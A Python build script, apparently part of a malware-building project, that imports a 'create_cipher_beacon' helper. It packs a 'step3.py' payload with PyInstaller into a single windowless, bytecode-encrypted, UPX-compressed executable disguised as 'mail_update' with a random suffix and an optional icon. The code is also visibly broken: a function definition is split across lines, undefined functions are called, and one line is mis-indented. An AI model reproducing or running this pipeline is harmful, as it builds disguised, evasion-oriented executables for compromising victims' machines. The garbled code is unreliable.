main.py

import datetime
import hashlib
import os.path
import platform
import subprocess

from loguru import logger
from common.project_path import project_path
from tmp_deal import create_cipher_beacon
from common.crypto_utils import crypto_utils

def exec_cmd(cmd):
    logger.info(f"打包中: {cmd}")
    ex = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    pipe, err = ex.communicate()
    status = ex.wait()
    if "completed successfully.".encode() not in err:
        logger.error("出错啦")
        logger.error(err.decode(encoding='gbk'))
        exit(1)
    logger.debug(pipe.decode('gbk'))
    logger.debug(err.decode('gbk'))
    return pipe.decode('gbk')

def get_rand_key():
    return crypto_utils.get_key().decode()

def get_rand_str():
    date = datetime.datetime.now()
    hash_class = hashlib.sha256()
    hash_class.update(str(date).encode())
    return hash_class.hexdigest()

def edit
(from_file_name="/step3.py", out_file_name="mail_update"):
    system_os = platform.system()
    pyinstaller_path = project_path.add_abs_path("\\venv\\Scripts\\pyinstaller.exe")
    if not os.path.exists(pyinstaller_path):
        pyinstaller_path = "pyinstaller.exe"
    upx_flag = True
    icon_flag = True
    if system_os == "Darwin":
        pyinstaller_path = project_path.add_abs_path("/venv/bin/pyinstaller")
        upx_flag = False

    out_file_path = f'{out_file_name}_{get_rand_str()[:5]}'
    from_file_path = project_path.add_abs_path(from_file_name)
    specpath_path = project_path.add_abs_path("\\spec")
    resource_path = project_path.add_abs_path(f"\\resource\\{out_file_name}.ico")
    if not os.path.exists(resource_path):
        icon_flag = False
    upx_path = project_path.add_abs_path("\\resource\\upx")
    cmd = f'"{pyinstaller_path}" --clean -F -w "{from_file_path}" --key "{get_rand_str()[:16]}" --specpath "{specpath_path}"  -n "{out_file_path}"'
    if icon_flag:
        cmd += f' -i "{resource_path}"'
    if upx_flag:
        cmd += f' --upx-dir="{upx_path}"'
    data = exec_cmd(cmd)
    logger.debug(data)

def main():
    main_payload()
     l1()
    edit()

if __name__ == '__main__':
    main()